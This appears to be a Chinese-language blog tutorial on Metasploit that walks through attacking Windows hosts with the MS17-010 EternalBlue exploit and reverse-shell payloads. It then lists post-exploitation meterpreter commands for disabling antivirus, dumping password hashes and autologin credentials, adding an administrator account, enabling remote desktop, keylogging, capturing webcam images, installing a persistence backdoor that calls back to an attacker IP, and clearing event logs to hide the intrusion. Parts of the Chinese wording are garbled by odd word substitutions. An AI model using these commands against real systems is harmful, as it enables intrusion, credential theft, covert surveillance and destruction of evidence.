auxiliary扫描模块exploits漏洞利用模块payloadsencoders编码模块nops空字符模块psot模块evasion模块(创建反杀毒软件的木马)命令行可输入search探求利用模块
msf5 > search MS17_010
常用的payload
Linux:
linux/x86/meterpreter/reverse_tcplinux/x86/meterpreter/bind_tcplinux/x86/shell_bind_tcplinux/x86/shell_reverse_tcplinux/x64/shell_reverse_tcplinux/x64/shell_bind_tc
Windows:
windows/meterpreter/reverse_tcpwindows/meterpreter/bind_tcpwindows/shell_reverse_tcpwindows/shell_bind_tcpwindows/x64/meterpreter/reverse_tcpwindows/x64/meterpreter/bind_tcpwindows/x64/shell_reverse_tcpwindows/x64/shell_bind_tcp
MS17_010 Eternal bule(永恒之蓝)
下面用永恒之蓝演示一下
进入msfconsole search命令搜索MS17_010
搜索到相应的五个模块
利用第二个赞助模块来帮助我们探测哪些主机存在漏洞 输入此命令
msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) >
查看所须要的配置信息:show options
利用RHOSTS 参数 来查询指定IP范围内的主机是否存在漏洞 然后输入exploit进行探测
看扫描结果 我内网连的主机少 结果前面如果是+,解释这台主机存在漏洞
之后就可以利用漏洞利用模块了 输入命令 输入info查识破绽信息
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalbluemsf5 exploit(windows/smb/ms17_010_eternalblue) > info
查看payloads 命令:show payloads
可以看到很多payload 自己根据当时情形利用哪个payload 想用哪个用哪个
设置payload 然后查看参数
RHOSTS 设置要攻击的主机IP ;LHOSTS 设置自己的IP 用于吸收反弹回来的shell,默认4444端口监听 然后exploit开始攻击
接下来就不演示了 说一下exploit攻击成功后的渗透的干系命令
1.运行了exploit命令之后,就开启了一个reverse TCP监听器来监听本地的 4444 端口,攻击者确当田主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 涌现,然后我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
想要从meterpreter退到msf:background输入命令: sessions -l 查看我们得到的shell输入命令:sysinfo 查看攻击目标主机的干系信息查看攻击目标主机是否在虚拟机上面运行:run post/windows/gather/checkvm关闭目标主机上运行的杀毒软件:run killav获取目标主机详细信息并保存到本地:run scraper关于文件的命令: cd:切换目标目录; cat:读取文件内容; rm:删除文件; edit:利用vim编辑文件 ls:获取当前目录下的文件; mkdir:新建目录; rmdir:删除目录关于上传文件和下载文件: upload file 向目标主机上传文件 download file 在目标主机下载文件
2.关于提高权限
1.输入命令:getsystem 帮助我们提高权限(提示缺点,但已经成功提权)2.命令:getuid 获取当前用户信息(查看是什么权限)
3.获取目标主机用户名密码
1.run windows/gather/credentials/windows_autologin 抓取自动登任命户的用户名和登录密码2.run hashdump hashdump模块从SAM数据库导出本地用户(得到的密码哈希值可用 Jhon the Ripper来破解密码)
4.关于目标主机里的程序
1.run post/windows/gather/enum_applications 查看目标主机安装的运用程序2.execute 此命令可在目标系统中实行干系运用程序 execute 参数 -f 可实行文件 可选参数: -f:指定可实行文件 -H:创建一个隐蔽进程 -a:通报给命令的参数 -i: 跟进程进行交互 -m:从内存中实行 -t: 利用当前假造的线程令牌运行进程 -s: 在给定会话中实行进程
screenshot 目标主机屏幕截图 图片会保存到/root目录下
5.创建新本地用户
1.run post/windows/gather/enum_logged_on_users 查看当前主机已存在的用户2.run getgui -u username -p password 添加一个用户为username,密码为password的用户,然后添加到Administrators组中(如果添加失落败,可以利用之前execute命令运行cmd窗口手动将用户添加到Administrators组中)
6.关于远程桌面
首先确保目标主机开启了远程桌面功能
1.idletime 先检讨主机远程用户的空闲时长2.run getgui -e3.run post/windows/manage/enable_rdp 以上两个命令都可开启目标主机远程桌面功能
7.关于记录键盘
1.keyscan_start:开启键盘记录功能2.keyscan_dump:显示捕捉到的键盘记录信息3.keyscan_stop:停滞键盘记录功能
8.关于绑定进程实现meterpreter持久化
ps 查看目标设备中运行的进程 getpid 查看我们当前运行的进程id migrate 命令来绑定目标进程id(后面跟要绑定进程的id即可) run post/windows/manage/migrate 此命令会自动探求得当的教=进程然后换绑定进程
9.关于目标主机的摄像头
webcam_list 获取目标主机的摄像头列表webcam_snap 从指定的摄像头拍摄照片webcam_stream 从指定的摄像头开启视频
10.关于留后门
如果目标主机关机,meterpreter建立的连接就会断开
以是我们可以在目标主机系统内留下一个持续性的后门,只要目标主机开机,我们就可以连接到该主机
通过添加做事到注册表 之后只要开机就会自动启动并连接
run persistence -X -i 8 -p 6666 -r 192.168.10.27 #反弹韶光间隔是8s 会自动连接192.168.27的4444端口,缺陷是随意马虎被杀毒软件查杀#运行之后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs 代表把该做事加入了注册表中,只要开机就会启动添加之后的连接便是在6666端口进行监听
11.末了打消事宜日志(拍拍屁股走人,要拍干净才能走哦)
之前我们做的所有操作都会被记录在攻击的目标主机的系统日志文件之中,以是我们须要在完成攻击之后打消掉事宜日志
clearev 打消事宜日志